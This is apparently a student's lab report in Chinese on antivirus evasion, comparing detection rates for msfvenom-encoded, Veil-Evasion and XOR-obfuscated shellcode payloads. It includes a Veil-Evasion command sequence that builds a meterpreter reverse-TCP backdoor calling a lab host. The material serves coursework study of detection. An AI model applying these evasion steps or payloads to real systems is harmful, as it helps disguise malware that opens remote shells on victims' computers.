20145330 《网络攻防》 免杀原理与实践

20145330 《网络攻防》 免杀原理与实践

一、基础问题回答

(1)杀软是如何检测出恶意代码的?

  • 基于特征码的检测
    • 特征码:一段特征码就是一段或多段数据。
    • 如果一个可执行文件(或其他运行的库、脚本等)包含这样的数据则被认为是恶意代码。
  • 启发式恶意软件检测
    • 根据些片面特征去推断。
    • 通用性,不精确。
  • 基于行为的恶意软件检测
    • 修改文件硬盘、连接恶意网站、修改注册表

(2)免杀是做什么?

  • 通过一些手段来瞒过杀软的检测扫描。避免被杀毒软件查杀。

(3)免杀的基本方法有哪些?

  • 改变特征码
    • 如果有exe可以加壳
    • 有shellcode可以用encode进行编码
    • 有源代码可以用veil-evasion进行重写再编译
  • 改变行为
    • 尽量使用反弹式连接、使用隧道技术
    • 基于内存操作、减少对系统的修改、加入混淆作用的正常功能代码

二、实验总结体会

这次实验让我以一个攻击者的角度了解了免杀原理,通过一次次实践逐步体会知识。尝试各种方法发现还是可以避过很多杀毒软件的,这也让我意识到了安全系统的漏洞,以后在生活应用中一定多加注意,保护好自己的电脑。

三、离实战还缺些什么技术或步骤?

实战靶机不会乖乖被你植入一个后门程序,并没有这么理想的情况...可以这样肆无忌惮的多次尝试

本次实验是有稳定的局域网与ip,但在实战中这些都无法保证,难度就会大大加强。

四、实践过程记录

1. 基于特征码的改变来实现免杀

本次实验测试网址:http://www.virscan.org/

1.1 msfvenom直接生成meterpreter可执行文件并检测:

输入如下命令如下:

检测结果如下:

扫描结果:53%的杀软(21/39)报告发现病毒

1.2 Msfvenom使用编码器生成可执行文件

可以尝试多编码几次比如10次,理论上肯定比一次好些...但上课时老师说编码器可能就本身会被发现。

生成编码的可执行文件然后上传:

检测结果:

扫描结果:53%的杀软(21/39)报告发现病毒

与直接生成可执行文件的扫描结果是一样的...那就多编码几次试试,看看能不能好点,就试十次吧:在指令里加上i 10

检测结果:

扫描结果:53%的杀软(21/39)报告发现病毒

心塞..并没有什么变化,应该是编码器本身就能被查吧,所以这个方法并不够免杀。

2. Veil-Evasion生成可执行文件

从老师那下载的kali自带Veil-Evasion这个软件,命令行直接输入veil-evasion打开软件,然后在menu里输入命令生成可执行文件:


	use python/meterpreter/rev_tcp
	set LHOST 192.168.124.128
	generate
	5330-winmine
	1

成功后就是下图中的样子:(生成的文件就在图中路径中.exe文件在最后一层compiled中)

这个检测相比于上几次扫描真的进步了好多:扫描结果:25%的杀软(10/39)报告发现病毒

3. C语言调用Shellcode

算是半手工打造恶意软件

3.1 先使用命令生成一个c语言格式的Shellcode数组:

将以上代码从虚拟机里copy出来,用vc6.0(很多人是Microsoft Visual Studio 2013,只要能编译c的软件应该都可以吧)进行编译运行生成可执行文件:shellcode5330.cpp

在kali下打开msf监听进程,在靶机上运行shellcode5330.cpp可执行文件

VirSCAN.org检测结果如下:

扫描结果:12%的杀软(5/39)报告发现病毒。

360依然可以检测出来。

由此可以看出生成shellcode半手工打造比之前的msfvenom直接生成可执行文件要好多了,但仍被定义为病毒文件,还需要改改.....

3.2 修改shellcode——逆序

采取的原理是原有shellcode不变,只在VC6.0下对源代码进行修改。

先试试求其逆序,首尾对换,操作简单易实现,看看查杀结果再进一步分析。

求逆序并将其输出的代码为高其同学的代码。在vc6.0下执行(shellcode2.cpp)。

运行后扫描结果如下:

扫描结果:5%的杀软(2/39)报告发现病毒

3.3 进一步修改shellcode

再复杂变化些,将shellcode数组的奇数位与偶数位区别对待,分别做如下操作:

  • 奇数位:亦或172,172101011000xAC
  • 偶数位:亦或83,83010100110x53

这样可以保证shellcode数组中的每一个元素都发生了一半bit的变化,而且变化不尽相同,在一定程度上改变了原数组的内容,
shellcode3.cpp:依然参考了高其同学的代码。

检测结果:

扫描结果:5%的杀软(2/39)报告发现病毒,依然是上次检测出病毒的两枚软件...

但是我自己电脑上的杀毒软件并没有检测出病毒,也算尝试的比较成功了。

kali下msf监听成功:

获取权限:

posted @ 2017-03-21 19:17  20145330孙文馨  阅读(294)  评论(0编辑  收藏  举报